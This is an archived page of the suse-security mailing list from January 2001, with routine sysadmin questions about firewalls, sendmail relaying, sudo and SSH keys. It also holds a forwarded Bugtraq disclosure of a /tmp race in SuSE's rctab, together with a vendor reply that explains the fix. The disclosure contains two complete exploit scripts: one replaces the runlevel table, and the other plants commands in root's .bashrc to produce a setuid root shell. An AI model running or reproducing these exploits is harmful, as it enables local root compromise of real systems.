Joint Technical Command May 94 Returned to IANA Mar 98 050/8 Joint Technical Command May 94 Returned to IANA Mar 98 051/8 Deparment of Social Security of UK Aug 94 052/8 E.I. duPont de Nemours and Co., Inc. Dec 91 053/8 Cap Debis CCS Oct 93 054/8 Merck and Co., Inc. Mar 92 055/8 Boeing Computer Services Apr 95 056/8 U.S. Postal Service Jun 94 057/8 SITA May 95 058/8 IANA - Reserved Sep 81 059/8 IANA - Reserved Sep 81 060/8 IANA - Reserved Sep 81 061/8 APNIC - Pacific Rim Apr 97 062/8 RIPE NCC - Europe Apr 97 063/8 ARIN Apr 97 064/8 ARIN Jul 99 065/8 ARIN Jul 00 066/8 ARIN Jul 00 067-095/8 IANA - Reserved Sep 81 096-126/8 IANA - Reserved Sep 81 127/8 IANA - Reserved Sep 81 128-191/8 Various Registries May 93 192/8 Various Registries - MultiRegional May 93 193/8 RIPE NCC - Europe May 93 194/8 RIPE NCC - Europe May 93 195/8 RIPE NCC - Europe May 93 196/8 Various Registries May 93 197/8 IANA - Reserved May 93 198/8 Various Registries May 93 199/8 ARIN - North America May 93 200/8 ARIN - Central and South America May 93 201/8 Reserved - Central and South America May 93 202/8 APNIC - Pacific Rim May 93 203/8 APNIC - Pacific Rim May 93 204/8 ARIN - North America Mar 94 205/8 ARIN - North America Mar 94 206/8 ARIN - North America Apr 95 207/8 ARIN - North America Nov 95 208/8 ARIN - North America Apr 96 209/8 ARIN - North America Jun 96 210/8 APNIC - Pacific Rim Jun 96 211/8 APNIC - Pacific Rim Jun 96 212/8 RIPE NCC - Europe Oct 97 213/8 RIPE NCC - Europe Mar 99 214/8 US-DOD Mar 98 215/8 US-DOD Mar 98 216/8 ARIN - North America Apr 98 217/8 RIPE NCC - Europe Jun 00 218/8 APNIC - Pacific Rim Dec 00 219-223/8 IANA - Reserved Sep 81 224-239/8 IANA - Multicast Sep 81 240-255/8 IANA - Reserved Sep 81 --- Boris Lorenz <bolo(a)lupa.de> System Security Admin *nix - *nux ---

2 1

Configuration Problem
by Richard 19 Jan '01

19 Jan '01

Dear All I'm having some problems with my SuSE 7.0 gateway box which I use with my own small domestic LAN. I've written a short firewall script which works fine with Debian and Red Hat systems. For some reason it won't work with SuSE 7.0. After much investigation I find that it's something to do with the firewals.rpm. There would seem to be some part of the configuration of the firewals script that stops my own firewall from working. If I remove the firewals.rpm then I can't get the SuSE 7.0 box to allow me to send or receive any data to or from the net. So, it's not a good idea to remove it. To begin with I can see a message to root in my mailbox which explains that I must edit /etc/rc.config.d/firewall.rc.config before doing anything. Looked into this and I can't find any explanation of what to change there. My main problem is that at the top of my firewall script there are the words DENY, DENY and DENY. Because I can't find any way to get this part of the script to allow me to send or receive mail or download web pages I have to use ACCEPT instead. Does anyone know enough about configuration of firewals.rpm to explain to me how to get my own firewall script to work in the way that I want it to work ? I did ask Thomas Beige earlier this week but it looks as though he's busy just now :) Thank you -- Richard

1 0

Is NTP secure?
by Christian Schweingruber 19 Jan '01

19 Jan '01

hi is there a risk to open the firewall to the internet for port 123 (TCP and UDP) for synchronisation (NetworkTimeProtokol)? Greetings Chrigu Schweingruber -- Homepage: http://www.kolk.ch/chrigu http://www.catatec.ch PGP key: http://www.kolk.ch/chrigu/Pgp.txt phone: +41 31 330 26 33 priv. +41 31 330 26 30 büro +41 31 330 26 32 FAX icq#: 27628141

2 1

RE: [suse-security] kdm - shows all user on login screen
by Raffy 19 Jan '01

19 Jan '01

> > Use kdmconfig > > > On 18-Jan-01 Andreas Tirok wrote: > > > > I think it is not a good > > > idea to give the people > > > a clue as wich users they > > > might login. > > In general, this is not a secret. "cat /etc/passwd" or "ls /home" show > this information too. No, you are not right. I mean users which are logged in may do this, but not those which are about to log on. Those should not have a clue about the users which exist on a system. Or do I miss something here? Thanks Raffy

4 3

extended attributes in reiserfs
by Martin Schipany 18 Jan '01

18 Jan '01

Hello! Are there extended file attributes in reiserfs like there are in ext2 for giving additional security to the files/system? (like append only etc) kind regards M. ********************************************************************* * * * Martin Schipany email: elcondor(a)warum.net * * phone & fax: (+43) 1 - 810 27 67 * * mobil: (+43) 676 - 304 88 34 * * IRC : ElCondor on channel #diddl * * * *******************************************************************' Schopenhauer: "Das niedrig gewachsene, schmalschultrige, breithüftige und kurzbeinige Geschlecht das Schöne zu nennen - dies konnte nur der vom Geschlechtstrieb umnebelte männliche Intellekt fertigbringen.

1 0

Re: [suse-security] Web Based e-mail servers
by Nix 18 Jan '01

18 Jan '01

At 09:43 PM 18/01/2001 +0100, you wrote: >What do you want to log? Just senders and receivers? Almost any mailer >will do that. If you mean log the entire mail, as in message text, you >might want to look at dug songs dsniff and get a real good lawyer. ;-) This is very simple to do. You don't need dsniff, just use Obtuse SMTPD as a wrapper in front of Sendmail. If this is indeed what you are trying to do, and you need some help, email me privately... --- Nix - nix(a)susesecurity.com SuSE-Security FAQ Maintainer http://www.susesecurity.com

1 0

sudo for local users
by thunder7＠xs4all.nl 18 Jan '01

18 Jan '01

Mine is (mostly) a single-user workstation. I want to have the comfort of sudo and yet a bit of security. Is it possible to tell sudo to work without a password IF it is being called by a bash-programm that is a child of login that is a child of init? And would that be secure or not? Are there other ways to have a comfortable (password-less) sudo in safety? Greetings, Jurriaan -- Never before have I encountered such corrupt and foul-minded perversity! Have you ever considered a career in the Church? Black Adder II GNU/Linux 2.2.19pre7 SMP 2x1402 bogomips load av: 0.05 0.14 0.09

2 1

[suse-security] POP3 (fwd)
by Luis José Fabbiani B. (SOPORTE) 18 Jan '01

18 Jan '01

Hi all, How my server can register all popper entries? I have the following option on my server: pop3 stream tcp nowait root /usr/sbin/tcpd /usr/sbin/popper -s but, this option don`t registry users pop account, only IP number. Thanks a lot. Luis. --------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

New Key for SSHD
by Peter Lange 18 Jan '01

18 Jan '01

Hello, I build up 5 Firewalls, as they have the same konfiguration, Ibuild up one and did 4 clones with the Raid. Work perfekt but, now I have five times the same Key for the SSHD which I use to manage this boxes remote. I'm sorry but I can't find how to create a new key for the Host and where to put it into. Thanks for all hints Peter -- Gravity never sleeps :-)

3 2

Re: [suse-security] FreeS/WAN setup on SuSE 7.0
by Rainer.Frohne＠t-online.de 18 Jan '01

18 Jan '01

Hello Davi, thanks for your help! I'll try it! regards Rainer ----- Original Message ----- From: "Davi" <davi(a)avati.com.br> To: "Rainer Frohne" <rainer.frohne(a)t-online.de> Sent: Wednesday, January 17, 2001 10:34 PM Subject: Re: [suse-security] FreeS/WAN setup on SuSE 7.0 > Just untar freeswan in /usr/src and do make insert to apply necessary patches > to kernel. I did it to a clean 2.2.18 (not so cause it had lids, stealth, > pptp and otras cosas mas). > > Freeswan is also a bit hard to understand and configure, but results are > cool.The only problem is the lack of adequate free clients for windows. > > []s > Davi > > On Monday 15 January 2001 13:27, you wrote: > > Hello, > > > > trying to configure FreeS/WAN 1.4 on SuSE 7.0 with kernel 2.2.16 > > (SuSE-Sources) I'm wondering that I do not find something about IPSEC when > > I did a 'make xconfig'. On 2.0.x Kernel one has to select IPSEC when > > building a knew kernel. Do I have to patch the Kernel first? Or is it not > > nessesary to do anything with the kernel on 2.2.x Kernels? I do have the > > module, and when I start it, it runs without error. > > > > I hope anyone understood my broken English! > > > > Thanks in advance! > > > > Rainer > > > > > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com

1 0

inetd on a specified network interface
by Jan Räther 18 Jan '01

18 Jan '01

Hi all, is there a possibilty to tell the inetd to listen only on a specified network interface / IP-Adress. e.g. listen only on eth0 with the adress 192.168.1.1 ? thx Jan [?][!] newtention technologies gmbh // rathausallee 72-76 // 22846 norderstedt mailto: jan(a)newtention.de // http://www.newtention.de phone: 040-5 54 45 89 - 3 // mobil: 0178-4777948 // fax: 040-5 54 45 89 - 9 ----- /* Binary compatibility is good American knowhow fuckin' up. */ 2.2.16 /usr/src/linux/arch/sparc/kernel/sunos_ioctl.c

3 6

Mail with arbitrary senderaddress
by Raffy 18 Jan '01

18 Jan '01

I need your help... I just received an email which claimed to be out of a domain which I own. (someguy(a)mydomain.com) BUT this is not possible, because I don't have any other users except me. I then found that this mail came from www.sueddeutsche.de and complained there that somebody was using their relay to send mail with the sender someguy(a)mydomain.com. They replied that they had a form on the web where users can specify the sender address and send emails to anyone. What do you guys think about this? I dont' like that! Especially people who are not too internet literate will not understand that a mail is not coming from the sender which is provided. ... Thanks Raffy

5 4

RE: [suse-security] Mail with arbitrary senderaddress
by Raffy 17 Jan '01

17 Jan '01

> this is very possile due to anonymous mailers. They strip the header from > mail files and replace them with fake ones, > > check out http://www.andrebacard.com/remail.html I know that. My question was more towards the fact that companies start to provide such things on the web ... They should indicate that the sender could be wrong! Thanks Raffy

1 0

DOJ claims breakup needed to rein in Microsoft
by Fred A. Miller 17 Jan '01

17 Jan '01

http://computerworld.com/cwi/story/0,1199,NAV47_STO56289_NLTos,00.html -- Fred A. Miller Systems Admin. Cornell Univ. Press Services fm(a)cupserv.org

2 1

AW: [suse-security] Why does sendmail deny relaying?]
by Garry Smith 17 Jan '01

17 Jan '01

Garry Smith wrote: > > Hi, > > uname -a : Linux homer 2.2.16-SMP #1 SMP Wed Aug 2 20:01:21 GMT 2000 > i686 unknown > sendmail version: starting daemon (8.10.2): SMTP+queueing@00:30:00 > (from mail log) > > I also have a problem with relaying in sendmail. > I would like machines from domain a, b and c to be able to use my mail > server (SuSE Linux 7.0 Pro) to send mails to any other domain. > > Initially I inserted domains a, b,and c into /etc/mail/relay-domains. > This allowed me to pass on mails from remote clients to one of the > listed domains. > > Sending a mail to a domain not listed causes the following error to > appear in the sender's mail client: > > An error occurred while sending mail > The mail server responded: > 5.7.1 <Garry.Smith(a)computer.org>... Relaying denied. IP name lookup > failed [x.x.x.x] Please check the message recipients and try again. > > My log mail log file shows: > Jan 17 12:40:08 homer sendmail[18328]: starting daemon (8.10.2): > SMTP+queueing@0 > 0:30:00 > Jan 17 12:40:08 homer sendmail[18328]: daemon could not open control > socket /var > /run/sendmail.control: Group writable directory > Jan 17 12:41:23 homer sendmail[18347]: f0HCfML18347: ruleset=check_rcpt, > arg1=<G > arry.Smith(a)computer.org>, relay=[x.x.x.x], reject=550 5.7.1 > <Garry.Smith@ > computer.org>... Relaying denied. IP name lookup failed [x.x.x.x] > Jan 17 12:41:23 homer sendmail[18347]: f0HCfML18347: > from=<Garry.Smith@computer. > org>, size=0, class=0, nrcpts=0, proto=ESMTP, daemon=MTA, > relay=[x.x.x.x] > > I have since removed the entries for /etc/mail/relay-domains. > I have also commented out the sendmail.cf authentification warning entry > as described in one on the recent related mails on this. > # privacy flags > > > O PrivacyOptions=needmailhelo,novrfy,noexpn,noetrn,noverb > > > > and restarted sendmail > > I followed the instructions below and added domains A,B and C to > access.db ie: > a-sub-domain.a-domain ACCEPT > > I then ran the Makefile and restarted sendmail. > I still get the relay error listed above. The only way I can seem to > get round this is if I add domains A,B and C back into > /etc/mail/relay-domains file. > > However, while I can then use my mail server to relay mail to those > domains, I cannot relay to other un-listed domains. > > How can I specify that domains A,B and C are allowed to use my mail > server to relay messages to any other domain on the Internet? > I must be missing something fundamental here, but can't think what? > > Many thanks in advance > regards > > Garry > > > > Roman Drahtmueller wrote: > > > > > > > > If you put in access.db > > > 212.121.144.197 ACCEPT > > > > > > it will work. > > > > Yes, and don't forget to hash the plaintextfile. Use the Makefile that > > I've put in the attachment. Place it in /etc/mail, go there and type make. > > Little gift from the 7.1 sendmail package... > > > > > > > > Philipp > > > > Thanks, > > Roman. > > -- > > - - > > | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | > > SuSE GmbH - Security Phone: // not enable user to fly." > > | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | > > - - > > > > ------------------------------------------------------------------------ > > Name: Makefile > > Makefile Type: Plain Text (TEXT/PLAIN) > > Encoding: BASE64 > > Description: Makefile for /etc/mail > > > > ------------------------------------------------------------------------ > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Linux system management package is set
by Fred A. Miller 17 Jan '01

17 Jan '01

http://www.infoworld.com/articles/hn/xml/01/01/16/010116hnvolution.xml -- Fred A. Miller Systems Admin. Cornell Univ. Press Services fm(a)cupserv.org

1 0

8 character passwords?
by MaD dUCK 17 Jan '01

17 Jan '01

hey all, fabulously, my notebook decided to screw up and erased my partition table, but by the time i realized, it was already too late. somehow the motherboard addressed the harddrive as CHS, not as LBA anymore, and the next write made the damage final. anyway, no biggie since i have backups, but now i am running a fresh suse 7.0 and somehow there are only 8 character passwords. makes me believe that no md5 is being used... without the use of yast or suseconfig, how can i enable md5 passwords? what package is responsible? thanks, martin [greetings from the heart of the sun]# echo madduck@!#:1:s@\@@@.net -- women who want to be equal to men lack imagination.

3 2

Why does sendmail deny relaying?
by Thorsten Marquardt 17 Jan '01

17 Jan '01

Hi, I'm in trouble with sendmail. The following lines apear in /etc/log/mail : Jan 17 11:06:23 www sendmail[16390]: f0HA6N916390: Authentication-Warning: \ www.text-team.de: Host [212.121.144.197] claimed to be canto.de Jan 17 11:06:28 www sendmail[16390]: f0HA6N916390: ruleset=check_rcpt, \ arg1=<THOM(a)text-team.de>, relay=[212.121.144.197], reject=550 5.7.1 \ <THOM(a)text-team.de>... Relaying denied. IP name lookup failed [212.121.144.197] Is this mail rejected due to failed reverse name lookup failure? Yours Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

6 7

OpenSSH for sparc doesn't honour tcp wrappers
by Nix 17 Jan '01

17 Jan '01

OpenSSH for sparc doesn't seem to be compiled against libwrap (I have crosspased this to both the Sparc and the Security Mailing lists, as I think it applies to both..) # rpm -q openssh openssh-2.1.1p1-22 # uname -a Linux jardia 2.2.16 #1 Wed Aug 9 08:49:44 GMT 2000 sparc unknown Any chance of a notice when a new rpm is available? Cheers --- Nix - nix(a)susesecurity.com SuSE-Security FAQ Maintainer http://www.susesecurity.com

2 2

Re: Serious security flaw in SuSE rctab (fwd)
by Roman Drahtmueller 17 Jan '01

17 Jan '01

...and this was my reply on it. Roman. ---------- Forwarded message ---------- _From: Roman Drahtmueller <draht(a)suse.de> _To: bugtraq(a)securityfocus.com Date: Wed, 17 Jan 2001 03:58:56 +0100 (MET) Subject: Re: Serious security flaw in SuSE rctab On Sat, 13 Jan 2001, Paul Starzetz wrote: > From: Paul Starzetz <paul(a)STARZETZ.DE> > To: BUGTRAQ(a)SECURITYFOCUS.COM > Date: Sat, 13 Jan 2001 19:15:51 +0100 > Subject: Serious security flaw in SuSE rctab > > Hi @ll, > > it seems that the problem described below has not been discussed on > Bugtraq. Does that mean you wouldn't have reported it otherwise? Why? No, it's public for the first time. Before writing to bugtraq, you could have communicated it to us. It was sent to feedback(a)suse.de, our address for bugs, RFE and such, at around the time when your mail was submitted to bugtraq. <security(a)suse.de>, our contact address for security-related issues, was not addressed. Your mail reveals that your primary intention was _not_ to improve security: You failed to report this problem, and there is no hint on how to fix it. Please let me do that, then (search for "Solution"!). - > Problem description > ------------------- > > Due to a various race conditions in the init level editing script > /sbin/rctab it is possible for any local user to overwrite any system's I confirm that a problem exists with the rctab script from the aaa_base package in SuSE-6.0, 6.1, 6.2, 6.3, 6.4, 7.0, all platforms, as well as the SuSE-5.x distributions. However, the description of the problem is not acurrate. The race condition is a result of a failure to create a directory to store the temporary file in. The mkdir command used does not take into account that the directory, if it exists already, might not belong to root or may be writeable for attackers. `chown root:root´ is clearly a wrong step since this would introduce a race in a 1777- directory again. The relevant piece of the /sbin/rctab shell script reads as follows: ___[snip] tmpdir=/tmp/rctmpdir.$$ tmp="${tmpdir}/rctmp" trap "rm -rf $tmpdir" 0 1 3 4 7 9 13 15 trap "exit 1" 2 mkdir -p ${tmpdir} if test $? -gt 0 -o ! -d ${tmpdir} ; then echo "Error $0: cannot create $tmpdir" 1>&2 exit 1 fi chmod 0700 $tmpdir # # make sort secure # export TMPDIR=$tmpdir ___[snip] As you can see, `mkdir -p ...´ is used to create a directory within /tmp. `mkdir -p´ does not return an error if the directory exists already. Thus, the error condition that should be detected is not reached, and the program does not exit. Solution for the problem: remove the only occurrence of the string "-p " in the file /sbin/rctab. Change the line mkdir -p ${tmpdir} to read mkdir ${tmpdir} Of course, we will provide update packages for the supported distributions 6.x and 7.0 (that will fix some more (rather minor) problems.). Future versions of the SuSE distributions do not contain the rctab script any more. Only small comments of academic nature following now. > file with arbitrary data. This may result in denial of service attack, > local or even remote root compromise, if root runs the /sbin/rctab > script. To achieve a remote root compromise, local root privilege is required. Therefore, it is not a remote root compromise. > Details > ------- > > The /sbin/rctab script doesn't check for links writing the temporary > rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't > chown'ed root. Because the PID of the rctab script can be guessed (or `chown root.root´ doesn't make sense from the security standpoint. If the directory is created, it belongs to root. If it doesn't, then you would not want it and abort the script. chown of a (pontially) user-owned file is definitely not the way to go. _From within a c program, fchown(2) is ok if you made sure that the file (that you hold open) is the one you wanted. It is even necessary to safely unlink(2) it later to avoid a race in a 1777-directory (because there is no "funlink(2)"). > looked up, however), any local user can replace the temporary rctmp file > with arbitrary content. This can be exploited in one of the following > manners: > [deleted down to EOF] Roman Drahtmüller, SuSE security. -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -

1 0

Fwd: Serious security flaw in SuSE rctab
by vladimir m. bondarev 17 Jan '01

17 Jan '01

This is a forwarded message From: Paul Starzetz <paul(a)starzetz.de> To: bugtraq(a)securityfocus.com <bugtraq(a)securityfocus.com> Date: Saturday, January 13, 2001, 9:15:51 PM Subject: Serious security flaw in SuSE rctab ===8<==============Original message text=============== Hi @ll, it seems that the problem described below has not been discussed on Bugtraq. Problem description ------------------- Due to a various race conditions in the init level editing script /sbin/rctab it is possible for any local user to overwrite any system's file with arbitrary data. This may result in denial of service attack, local or even remote root compromise, if root runs the /sbin/rctab script. Details ------- The /sbin/rctab script doesn't check for links writing the temporary rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't chown'ed root. Because the PID of the rctab script can be guessed (or looked up, however), any local user can replace the temporary rctmp file with arbitrary content. This can be exploited in one of the following manners: a) local user replaces the rctmp with his own, resulting in enabling/disabling any valid service listed in /sbin/init.d directory. This may lead to a system running a vulnerable service after the runlevel has been switched, resulting in further remote root compromise. b) local user force the rctab script to write the content of rctmp file to any other system's file including /etc/passwd or /etc/shadow. This results in denial of service too. c) local user trick the rctab script to write the contents of rctmp file predecessed by some arbitrary data to some sensitive system file. In conjunction with any sort of shell script executed by the root user and the 'in here documents' it is possible to run any command inside the attacked shell script. d) ...and much more Vulnerable Systems ------------------ At least SuSE 6.1-7.0, maybe other systems using rctab. Exploit ------- Attached 2 exploits rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present, root runs crontab -e and saves the changes after changing something in the runlevel table _and_ login again. (Yes, in some cases the script will fail ;-) changerc.sh: replaces system's inittable with an arbitrary one (assuming rctab -e is run too) IhaQueR. ----------------------------------------------------------------- so now the scripts: [changerc.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| rctab exploit |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 700 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for root to finish editing sleep 4 declare -i vipid vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` echo " root is editing now at $vipid, wait for $rcfile" pfile="/proc/$vipid" while test -d $pfile do echo -n >/dev/null done rm -rf $rcfile cp $FAKERC $rcfile echo "[+] gotcha!" echo " installed new rctab from $FAKERC" ----------------------------------------------------------------- [rcshell.sh] #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush" # what we want to write to $WRITETO (oops...) declare -i idx idx=0 rchead="" while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null <<_DUPA_" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| local rctab root exploit |" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # test sys awkl=$(which awk) if test -x $awkl ; then echo "[+] awk found" else echo "[-] awk not found, edit this script :-)" exit 1 fi if test -r /sbin/rctab ; then echo "[+] rctab found" else echo "[-] rctab not found, sorry" exit 1 fi # make suid shell echo "[+] compiling suid shell" cat << _DUPA_ >/tmp/sush.c #include <stdio.h> main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh", argv); } _DUPA_ # compile shell gcc /tmp/sush.c -o $SUSH # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 000 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" # append our cmd echo >$rcfile "$rchead" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for editor declare -i vipid vipid=0 while [ $vipid -lt 1 ] do vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` done echo " root is editing now at pid $vipid, wait for writing $rcfile" sleep 1 pfile="/proc/$vipid" # relink declare -i lcnt lcnt=$(wc -l $rcfile|awk '{print $1-2 }') tail -n$lcnt $rcfile >$rcfile.new rm -rf $rcfile ln -sf $WRITETO $rcfile if test -r "$WRITETO" ; then md=$(cat $WRITETO|md5sum) fi if test -r $WRITETO ; then ac=$(ls -l --full-time $WRITETO) else ac="none" fi # wait for root to write rctab or exit while test -d $pfile do if test -r "$WRITETO" ; then oc="$(ls -l --full-time $WRITETO)" if test "$ac" != "$oc" ; then echo "[+] $WRITETO replaced" break fi fi done rm -rf $rcfile; ln -s $rcfile.new $rcfile if test "$md" = "$(cat $WRITETO|md5sum)" ; then echo "[-] bashrc not changed, sorry" exit 2 else echo "[+] gotcha! wait for root to login" fi # now wait for root to login :-) while test -O $SUSH ; do sleep 1 done echo "[+] suid shell at $SUSH" sleep 1 $SUSH ----------------------------------------------------------------- [sample fakerc] # # Generated by rctab: Fri Jan 12 21:02:40 CET 2001 # # Special scripts # # halt -- only for runlevel 0 # reboot -- only for runlevel 6 # single -- only for single user mode # # Remaining services # # apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm # halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named network # nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route routed # rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd xntpd # ypclient yppasswdd ypserv ypxfrd # Runlevel:1 Runlevel:2 Runlevel:3 Runlevel:4 Runlevel:5 kerneld kerneld kerneld - - serial serial serial - - dummy dummy dummy - - syslog network network - - boot.setup firewall firewall - - gpm masquerade masquerade - - kbd route route - - random cipe cipe - - - rpc rpc - - - argus argus - - - nfs nfs - - - scanlogd scanlogd - - - syslog syslog - - - boot.setup boot.setup - - - routed routed - - - named named - - - quota quota - - - nfsserver nfsserver - - - pcnfsd pcnfsd - - - quotad quotad - - - yppasswdd yppasswdd - - - ypserv ypserv - - - ypxfrd ypxfrd - - - ypclient ypclient - - - autofs autofs - - - apache apache - - - at at - - - gpm inetd - - - inetd inn - - - inn ipfwadm - - - ipfwadm ircd - - - ircd kbd - - - kbd lpd - - - lpd ntopd - - - ntopd random - - - random rinetd - - - rinetd rwhod - - - rwhod sendmail - - - sendmail smb - - - smb squid - - - squid sshd - - - sshd xinetd - - - xinetd xntpd - - - xntpd cron - - - cron xdm - - - pings - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ===8<===========End of original message text=========== what about this? Wednesday, January 17, 2001 -- vladimir m. bondarev, icq uin: 62393277 paradox team web: http://scene.org.ru

1 0

IBM building Linux supercomputer
by Fred A. Miller 16 Jan '01

16 Jan '01

IBM building Linux supercomputer Big Blue's will be world's fastest By Peter Galli eWEEK ZDNET "Jan. 16 - As the need for bigger, faster supercomputers increases at a rapid pace, IBM and the National Center for Supercomputing Applications at the University of Illinois at Champaign are working together to create the world's fastest Linux supercomputer." http://www.msnbc.com/news/517120.asp?0na=2223BR9 -- Fred A. Miller Systems Admin. Cornell Univ. Press Services fm(a)cupserv.org

1 0

unsubscribe mhuelsmann@s-h-s.de
by michael 16 Jan '01

16 Jan '01

unsubscribe

2 1

Firewall and messages log
by alastair＠duncans.screaming.net 16 Jan '01

16 Jan '01

Hi all, can anyone shed some light on to these firewall log entries and the messages log entries Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 64.94.163.226:8 62.64.169.128:0 L=84 S=0x00 I=335 F=0x0000 T=50 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 63.251.143.2:8 62.64.169.128:0 L=84 S=0x00 I=12076 F=0x0000 T=48 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.125.38:8 62.64.169.128:0 L=84 S=0x00 I=34458 F=0x0000 T=50 (#131) Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.248.222:8 62.64.169.128:0 L=84 S=0x00 I=49103 F=0x0000 T=49 (#131)Jan 14 18:54:45 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.172.130:8 62.64.169.128:0 L=84 S=0x00 I=1370 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.85.194:8 62.64.169.128:0 L=84 S=0x00 I=29649 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.172.130:8 62.64.169.128:0 L=84 S=0x00 I=1520 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 63.251.143.2:8 62.64.169.128:0 L=84 S=0x00 I=12221 F=0x0000 T=48 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.44.194:8 62.64.169.128:0 L=84 S=0x00 I=19612 F=0x0000 T=49 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 216.52.153.130:8 62.64.169.128:0 L=84 S=0x00 I=14678 F=0x0000 T=49 (#131)Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 64.94.163.226:8 62.64.169.128:0 L=84 S=0x00 I=474 F=0x0000 T=50 (#131) Jan 14 18:54:55 wolfman kernel: Packet log: input DENY ppp0 PROTO=1 209.155.224.130:8 62.64.169.128:0 L=84 S=0x00 I=20509 F=0x0000 T=40 (#131) Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.85.194].3506 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.153.130].3682 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [64.94.163.226].3422 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [209.155.224.130].2919 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.44.194].1247 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.172.130].3232 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [63.251.143.2].25806 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.248.222].2502 Jan 14 18:55:05 wolfman named[313]: refused query on non-query socket from [216.52.125.38].9795 Jan 14 18:55:15 